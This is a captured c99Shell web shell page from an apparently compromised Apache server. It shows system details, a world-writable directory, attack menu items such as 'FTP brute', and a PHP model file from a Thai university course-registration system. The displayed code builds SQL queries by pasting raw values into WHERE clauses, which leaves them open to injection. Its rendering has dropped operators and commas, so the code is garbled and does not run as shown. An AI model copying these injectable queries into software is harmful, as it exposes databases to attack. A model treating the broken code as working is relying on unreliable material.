!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/models/eregis-13022565/   drwxrwxrwx
Free 50.64 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mo_rg_courseopen-OLD.php (34.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("da_rg_CourseOpen.php");

/**
 * Mo_rg_courseopen Class
 *
 * Class นี้ประกอบด้วยฟังก์ชั่นที่จัดการเกี่ยวกับตารางรายวิชาที่เปิดสอน
 *
 * @package    Curriculum
 * @subpackage Course
 */
class Mo_rg_courseopen extends Da_rg_CourseOpen {

    
/**
     * หน้าที่ของฟังก์ชั่น คือ ต่อสตริงของ sql->where
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value)
     * @return    string con โดยอยู่ในรูปแบบ WHERE $field='$value'
     * @todo    use
     */
    
public function checkConditionCo($condition="") {
        
$con "";
        if(
$condition) {
            
$con .= "WHERE";
            foreach(
$condition as $key => $value) {
                if(
$key=="coCurId")
                    
$con .= " $key IS $value AND";
                else
                    
$con .= " $key='$value' AND";
            }
        }
        return 
$con;
    }
    
    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอนตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : rg_CourseOpen.*
     * @todo    use
     */
    
public function qryCo($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
get_options($condition="",$order="",$group=""$optional='y') {
        
$query $this->qryCo($condition,$order,$group);
        if(
$optional=='y'$opt[''] = '';
        foreach(
$query->result() as $row) {
            
$opt[$row->coAcY] = $row->coAcY;
        }
        return 
$opt;
    }

    function 
getSumNumSeatOpen($condition="") {
        
$where $this->checkCondition($condition);

        
$c1substr($where0, -3);

        
$sql "SELECT SUM(coNumSeatOpen) AS num 
                FROM $this->rg_dbname.rg_CourseOpen 
                $c1"
;
        
$query $this->db->query($sql);
        return 
$query->row()->num;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาและชื่อรายวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : rg_CourseOpen.*, rg_Course
     * @todo    use
     */
    
public function qryCoJoinCrs($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอน และนักศึกษามีการลงทะเบียนเรียนจริง
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : coId, crsId, crsCode, crsName, coNumSeatReg, coSection, crsUnit, coSendGradeStatus, coDeclareStatus, curId, curName
     * @todo    use
     */
     
public function qryCoJoinCrsCur($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT * 
                 FROM $this->rg_dbname.rg_CourseOpen 
                 INNER JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId 
                 LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId = curId 
                 $c1
                 $c3
                 $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอน และจำนวนนักศึกษาที่ถูกจัดกลุ่มลงในรายวิชาตามเงื่อนไข 
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY  
     * @return    query >= 1 rows () ผลที่ได้ rg_CourseOpen.*, rg_Course.*, COUNT(cosCoId) AS numCos
     */
     
public function qryCo2($condition=""$order="") {
        
$qry1 $this->checkConditionCo($condition);
        
$qry2 $this->checkOrderBy($order);
        
        
$c1substr($qry10, -3);
        
$c2substr($qry20, -1);

        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.*, $this->rg_dbname.rg_Course.*, COUNT(cosCoId) AS numCos
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_CourseOpenStudent ON coId=cosCoId
                $c1
                GROUP BY coId
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
     }

     
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายละเอียดของวิชาที่เปิดสอน 
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @withSetAttributeValue    boolean FALSE ไว้สำหรับ ยังไม่ทำการ row() query
     * @return    query = 1 row ผลที่ได้ rg_CourseOpen.*, rg_Course.*, rg_Curriculum.*, rg_Term.*, rg_StudyYear.*
     */
     
public function qryDetailCo($condition=""$withSetAttributeValue=FALSE) {
        
$qry1 $this->checkCondition($condition);

        
$c1 substr($qry10, -3);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId=curId
                INNER JOIN $this->rg_dbname.rg_Term ON coTmId=tmId
                INNER JOIN $this->rg_dbname.rg_StudyYear ON coSyId=syId
                $c1"
;
        
$query $this->db->query($sql);
        if(
$withSetAttributeValue) {
            
$this->row2attribute($query->row());
        }else{
            return 
$query;
        }
     }

     
/**
     * @todo    use
     */
     
public function qryResponsibilityCo($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *, 
                IF(prsItId=1, ps.fName, pso.fName) AS fName, 
                IF(prsItId=1, ps.lName, pso.lName) AS lName, 
                IF(prsItId=1, pf.prefixName, pfo.prefixName) AS prefixName 
                FROM $this->rg_dbname.rg_CourseOpen 
                INNER JOIN $this->rg_dbname. rg_Course ON coCrsId = crsId 
                LEFT JOIN $this->rg_dbname.rg_Person ON coPrsId = prsId 
                LEFT JOIN $this->ppc_dbname.Person ps ON prsUsId = ps.personId 
                LEFT JOIN $this->ppc_dbname.Prefix pf ON ps.prefixId = pf.prefixId 
                LEFT JOIN $this->ppc_dbname.Personout pso ON prsUsId = pso.psoutId 
                LEFT JOIN $this->ppc_dbname.Prefix pfo ON pso.prefixId = pfo.prefixId 
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
     }

     
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายชื่อวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query = 1 row ผลที่ได้ rg_CourseOpen.*, rg_Course.*, peoplecenter.Person, peoplecenter.Prefix
     */
     
public function qryCoANDCrs($condition="") {
         
$qry $this->checkCondition($condition);

         
$con substr($qry0, -3);

         
$sql "SELECT *
                 FROM $this->rg_dbname.rg_CourseOpen
                 INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                 $con"
;
        
$query $this->db->query($sql);
        return 
$query;    
     }

     public function 
qryCourseOpenUnionCourseOpen($curId,$acY,$stY) {
        
$sql "select c.coTmId from $this->rg_dbname.rg_CourseOpen c 
                    where c.coCurId='$curId' and c.coAcY='$acY' and c.coSyId='$stY' 
                    group by c.coTmId 
                union 
                select c.coTmId from $this->rg_dbname.rg_CourseOpen c
                    INNER JOIN $this->rg_dbname.rg_CourseOpenFor f ON c.coId = f.cofCoId
                    where c.coCurId is null and c.coAcY='$acY' and c.coSyId='$stY' 
                    and f.cofCurId='$curId' 
                    group by c.coTmId"
;
        
$query $this->db->query($sql);
        return 
$query;
     }
 
    public function 
qryCourseOpenJoinCourseJoinTermByCurIdAndAcYAndstYAndSe($curId,$acY,$stY,$se){
        
$sql "SELECT c.*,$this->rg_dbname.rg_Term.*,$this->rg_dbname.rg_Course.* FROM $this->rg_dbname.rg_CourseOpen c 
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_Term ON tmId=coTmId
                WHERE c.coCurId=? AND c.coAcY=? AND c.coSyId=? 
                AND c.coTmId=?  
                GROUP BY c.coCrsId 
            union 
            SELECT c.*,$this->rg_dbname.rg_Term.*,$this->rg_dbname.rg_Course.* FROM $this->rg_dbname.rg_CourseOpen c 
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                INNER JOIN $this->rg_dbname.rg_CourseOpenFor f ON c.coId=f.cofCoId 
                LEFT JOIN $this->rg_dbname.rg_Term ON tmId=coTmId
                WHERE c.coCurId is null AND c.coAcY=? AND c.coSyId=? 
                AND c.coTmId=? 
                AND f.cofCurId=? 
                GROUP BY c.coCrsId"
;
        
$query $this->db->query($sql,array($curId,$acY,$stY,$se,$acY,$stY,$se,$curId));
        
//echo $this->db->last_query()."<br><br>"; AND c.coNumSeatReg >0
        
return $query;
    }
     
/**
     * หน้าที่ของฟังก์ชั่น คือ หาชื่อบุคคลที่เกี่ยวข้องกับรายวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query = 1 row ผลที่ได้ rg_CourseOpen.*, rg_Course.*, peoplecenter.Person, peoplecenter.Prefix
     */
     
public function qryPersonInCourseOpen($condition1=""$condition2="") {
         
$qry1 $this->checkCondition($condition1);
         
$qry2 $this->checkCondition($condition2);

         
$con1 substr($qry10, -3);
         
$con2 substr($qry20, -3);

         
$sql "SELECT ttPrsId, ttCoId
                 FROM $this->rg_dbname.rg_TimeTable
                 $con1
                 UNION
                 SELECT coPrsId, coId
                 FROM $this->rg_dbname.rg_CourseOpen
                 $con2"
;
        
$query $this->db->query($sql);
        return 
$query;
     }
 
     public function 
qryCoANDCrsByCourseCodeAndAcYAndTmIdAndSec($courseCode,$acY,$tmId,$section) {
         
$sql "SELECT *
                 FROM $this->rg_dbname.rg_CourseOpen
                 INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                 WHERE crsCode LIKE ? AND coAcY = ? AND coTmId = ? AND coSection = ?
                 ORDER BY coCurId , crsCode , crsName"
;
        
$query $this->db->query($sql,array("%".$courseCode."%",$acY,$tmId,$section));
        return 
$query;    
     }


    
// หลังจากนี้เป็นฟังก์ชั่นก่อนวันที่ 6 ตุลาคม 2553

    /**
     * หน้าที่ของฟังก์ชั่น คือ หาชื่อรายวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query >= 1 rows (rg_CourseOpen.*, rg_Course.*)
     */
    
public function qryCoGroupCrs($condition="") {
        
$qry $this->checkCondition($condition);

        
$c1 substr($qry0, -3);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                $c1
                GROUP BY crsId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชา และอาจารย์ผู้สอน ประจำเมนูกำหนดรายวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query >= 1 rows (rg_CourseOpen.*, crsId, crsCode, crsName, crsNameE, crsUnit, curId, curName)
     */
    
public function qryCoJoinCrs2($condition="") {
        
$qry $this->checkCondition($condition);
        
$con substr($qry0, -3);
        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.*, crsId, crsCode, crsName, crsNameE, crsUnit
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                $con"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอน และจำนวนนักศึกษาที่ถูกจัดกลุ่มแล้ว ประจำเมนูกำหนดรายวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query >= 1 rows (rg_CourseOpen.*, rg_Course.*, count(cosStdId) AS num)
     */
    
public function qryCoAndCos($condition="") {
        
$qry $this->checkCondition($condition);
        
$con substr($qry0, -3);
        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.*, $this->rg_dbname.rg_Course.*, count(cosStdId) AS num
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_CourseOpenStudent ON cosCoId=coId
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                $con
                GROUP BY coId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชา จัดกลุ่มตามหลักสูตร
     *
     * @access    public
     * @param    sting course code
     * @param    int acad year
     * @param    int term id
     * @return    query >= 1 rows (rg_CourseOpen.*, crsId, crsCode, crsCodeE, crsName, crsNameE, crsUnit,
                ttId, ttPrsId, group_concat(pf.prefixName, pp.fname,' ', pp.lname), curId, curName)
     */
    
public function qryCoGroupCur($condition="") {
        
$qry $this->checkCondition($condition);
        
$con substr($qry0, -3);
        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.*, curId, curName
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId=curId
                $con
                GROUP BY curId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายละเอียดของวิชาที่เปิดสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query = 1 rows (rg_CourseOpen.*, rg_Course.*, curId, curName, curNameE, tmId, tmCode, tmName, syId, syCode, syName)
     */
    
public function qryCodetails($condition="") {
        
$qry $this->checkCondition($condition);
        
$con substr($qry0, -3);

        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.*, $this->rg_dbname.rg_Course.*, curId, curName, curNameE, tmId, tmCode, tmName, syId, syCode, syName
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId=curId
                LEFT JOIN $this->rg_dbname.rg_Term ON coTmId=tmId
                LEFT JOIN $this->rg_dbname.rg_StudyYear On coSyId=syId
                $con"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

     
/**
     * หน้าที่ของฟังก์ชั่น คือ หาอาจารย์ผู้รับผิดชอบส่งเกรด
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @return    query = 1 rows (rg_CourseOpen.*, rg_Course.*, curId, curName, curNameE, tmId, tmCode, tmName, syId, syCode, syName)
     */
//    public function qryCoresponsibility($condition="") {
//        $db_ppc = $this->load->database('ppc',TRUE);
//
//        $qry = $this->checkCondition($condition);
//        $con = substr($qry, 0, -3);
//
//        $sql = "SELECT *
//                FROM $this->rg_dbname.rg_CourseOpen
//                LEFT JOIN $this->ppc_dbname.Person AS pp ON coPrsId=pp.personId
//                LEFT JOIN $this->ppc_dbname.Prefix AS pf ON pp.prefixId=pf.prefixId
//                $con";
//        $query = $this->db->query($sql);
//        return $query;
//    }

     /**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่ถูกเปิดสอน เฉพาะกลุ่มเรียนที่ 1
     *
     * @access    public
     * @param    $coCurId: รหัสหลักสูตร
     * @return    query >= 1 rows: rg_CourseOpen.*, rg_Course.*
     */
    
public function qryCoByCoSectionIs1ANDCoCurId($coCurId) {
        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                WHERE coSection=1
                AND (coCurId=? OR coCurId IS NULL)
                ORDER BY coAcY, coSyId, coTmId"
;
        
$query $this->db->query($sql,array($coCurId));
        return 
$query;
    }

    function 
qryCoByCurIdAcYSyIdTmIdCrsIdEmpty($curId$acY$syId$tmId$crsId) {
        
$sql "SELECT *
                        FROM $this->rg_dbname.rg_CourseOpen 
                        WHERE coCurId = ? 
                        AND coAcY = ? 
                        AND coSyId = ? 
                        AND coTmId = ? 
                        AND coCrsId = ? 
                        AND coNumSeatReg < coNumSeatOpen"
;
        
$query $this->db->query($sql, array($curId$acY$syId$tmId$crsId));
        return 
$query;
    }

    function 
qryCoByCurIdIsNullAcYSyIdTmIdCrsIdEmptyOpenFor($acY$syId$tmId$crsId$curId){
        
$sql "SELECT *
                        FROM $this->rg_dbname.rg_CourseOpen 
                        INNER JOIN $this->rg_dbname.rg_CourseOpenFor ON coId = cofCoId 
                        WHERE coCurId IS NULL 
                        AND coAcY = ? 
                        AND coSyId = ? 
                        AND coTmId = ? 
                        AND coCrsId = ? 
                        AND coNumSeatReg < coNumSeatOpen 
                        AND cofCurId = ? 
                        AND cofNumEnroll < cofSeats 
                        ORDER BY coId"
;
        
$query $this->db->query($sql, array($acY$syId$tmId$crsId$curId));
        return 
$query;
    }

    function 
qryCoByStdIdCoIdEmpty($stdId$coId) {
        
$sql "SELECT *
                        FROM $this->rg_dbname.rg_CourseOpenStudent 
                        INNER JOIN $this->rg_dbname.rg_CourseOpen ON cosCoId = coId 
                        WHERE cosStdId = ? 
                        AND cosCoId = ? 
                        AND coNumSeatReg < coNumSeatOpen"
;
        
$query $this->db->query($sql, array($stdId$coId));
        return 
$query;
    }

     
/**
     * หน้าที่ของฟังก์ชั่น คือ กำหนดค่าตัวเลือก(dropdown)
     * page จัดตารางสอน
     * @access    public
     * @param    ตัวแปรใดๆใน model นี้
     * @return    ตัวเลือก(dropdown) ตามค่า ของตัวแปร group
     */
//    function qry_optionCo($condition="",$order="",$group="",$optional='') {
//        $where = $this->checkConditionCo($condition);
//        $order = $this->checkOrderBy($order);
//        $group = $this->checkGroupBy($group);
//
//        $c1= substr($where, 0, -3);
//        $c2= substr($order, 0, -1);
//        $c3= substr($group, 0, -1);
//
//        $sql = "SELECT *
//                FROM $this->rg_dbname.rg_CourseOpen
//                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId = curId
//                LEFT JOIN $this->rg_dbname.rg_StudyYear ON coSyId = syId
//                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId
//                $c1
//                $c3
//                $c2";
//
//        $query = $this->db->query($sql);
//        $gp = array_keys($group);
//        if($optional!='') $opt[''] = $optional;
//        foreach($query->result() as $row) {
//            $opt[$row->$gp[0]] = $row->$gp[0];
//        }
//        return $opt;
//    }
    
function qry_optionCo($condition="",$order="",$group="",$optional='') {
        
$where2 $this->checkCondition($condition);
        
$order2 $this->checkOrderBy($order);
        
$group2 $this->checkGroupBy($group);

        
$c1substr($where20, -3);
        
$c2substr($order20, -1);
        
$c3substr($group20, -1);

        
$sql "SELECT *
                FROM rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId = curId
                LEFT JOIN $this->rg_dbname.rg_StudyYear ON coSyId = syId
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId
                $c1
                $c3
                $c2"
;
            
        
$query $this->db->query($sql);

        
$key array_keys($group);
        
$val array_values($group);
        
$opt = array();
        if(
$optional!=''$opt[''] = $optional;
        foreach(
$query->result() as $row) {
            
//$opt[$row->crsId] = $row->cuName;
            
$showCode '';
            if( 
$val[0] == 'crsName')
                
$showCode $row->crsCode.' : ';
           
$opt[$row->$key[0]] = $showCode.$row->$val[0];
        }
        return 
$opt;

        
//return $query;
    
}

    function 
qryCoByCoCurIdIsNULL($condition="",$order="") {
        
$where $this->checkConditionCo($condition);
        
$order $this->checkOrderBy($order);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId= cofCoId
                $c1
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    function 
qryCoByCoCurIdIsNULLGrpCoId($coAcY,$coSyId,$coTmId,$coCdId1,$cofCurId) {
        
$sql "SELECT coCrsId, coCdId2, MIN(coId) AS coId
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                WHERE coCurId IS NULL
                AND coAcY=?
                AND coSyId=?
                AND coTmId=?
                AND coCdId1=?
                AND cofCurId=?
                GROUP BY coCrsId, coCdId2"
;
        
$query $this->db->query($sql,array($coAcY,$coSyId,$coTmId,$coCdId1,$cofCurId));
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาจำนวนกลุ่มที่เปิดสอนสูงสุด ตามเงื่อนนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    num จำนวนกลุ่มที่เปิดสอนมากสุด
     * @todo    use
     */
    
public function getMaxSection($condition="",$order="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);

        
$sql "SELECT IFNULL(MAX(CAST(coSection AS SIGNED)), 0) AS num
                FROM $this->rg_dbname.rg_CourseOpen
                $c1
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query->row()->num;
    }

    
//use ตารางสอนรวมประจำภาคการศึกษา 
    
function qryCurIdJOINTtCof($acY$tmId$wkNo){
        
$sql "SELECT coCurId, $this->rg_dbname.rg_Course.*, $this->rg_dbname.rg_Curriculum.*
                    FROM $this->rg_dbname.rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    INNER JOIN $this->rg_dbname.rg_Curriculum ON curId=coCurId
                    INNER JOIN $this->rg_dbname.rg_Course ON crsId =coCrsId
                    WHERE coCurId IS NOT NULL 
                    AND coAcY=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    GROUP BY coCurId
                UNION
                SELECT cofCurId, $this->rg_dbname.rg_Course.*, $this->rg_dbname.rg_Curriculum.*
                    FROM rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                    INNER JOIN $this->rg_dbname.rg_Curriculum ON curId=cofCurId
                    INNER JOIN $this->rg_dbname.rg_Course ON crsId =coCrsId
                    WHERE coCurId IS NULL 
                    AND coAcY=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    GROUP BY cofCurId"
;
        
$query $this->db->query($sql, array($acY$tmId$wkNo,$acY$tmId$wkNo));
        return 
$query;
    }

    
//use ตารางสอนรวมประจำภาคการศึกษา
    
function qrySyIdJOINTtCofCurSy($curId$acY$tmId$wkNo) {
        
$sql "SELECT coSyId, syName 
                    FROM $this->rg_dbname.rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    LEFT JOIN $this->rg_dbname.rg_StudyYear ON syId = coSyId
                    WHERE coCurId=?
                    AND coAcY=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    GROUP BY coSyId
                UNION
                SELECT coSyId, syName
                    FROM $this->rg_dbname.rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                    LEFT JOIN $this->rg_dbname.rg_StudyYear ON syId = coSyId
                    WHERE coCurId IS NULL
                    AND coAcY=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    AND cofCurId=?
                    GROUP BY coSyId"
;
        
$query $this->db->query($sql, array($curId$acY$tmId$wkNo,$acY$tmId$wkNo$curId));
        return 
$query;
    }

    
//use ตารางสอนรวมประจำภาคการศึกษา
    
function qryCoBetweenPr($curId$acY$syId$tmId$wkNo$pr) {
        
$this->load->database('rg',TRUE);
        
$sql "SELECT $this->rg_dbname.rg_CourseOpen.* , curName, rg_Course.*
                    FROM $this->rg_dbname.rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    LEFT JOIN $this->rg_dbname.rg_Curriculum ON curId=coCurId
                    LEFT JOIN $this->rg_dbname.rg_Course ON crsId =coCrsId
                    WHERE coCurId=?
                    AND coAcY=?
                    AND coSyId=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    AND ? BETWEEN ttPrdFrTime AND ttPrdToTime
                UNION
                SELECT $this->rg_dbname.rg_CourseOpen.* , curName, $this->rg_dbname.rg_Course.*
                    FROM $this->rg_dbname.rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                    LEFT JOIN $this->rg_dbname.rg_Curriculum ON curId=coCurId
                    LEFT JOIN $this->rg_dbname.rg_Course ON crsId =coCrsId
                    WHERE coCurId IS NULL
                    AND coAcY=?
                    AND coSyId=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    AND ? BETWEEN ttPrdFrTime AND ttPrdToTime
                    AND cofCurId=?
                    GROUP BY coSyId"
;
        
$query $this->db->query($sql, array($curId$acY$syId$tmId$wkNo$pr$acY$syId$tmId$wkNo$pr$curId));
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอน และหลักสูตร ในกรณีที่ไม่ใช่วิชาที่เป็นเรียนรวม ตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows: rg_CourseOpen.*, rg_Curriculum.*
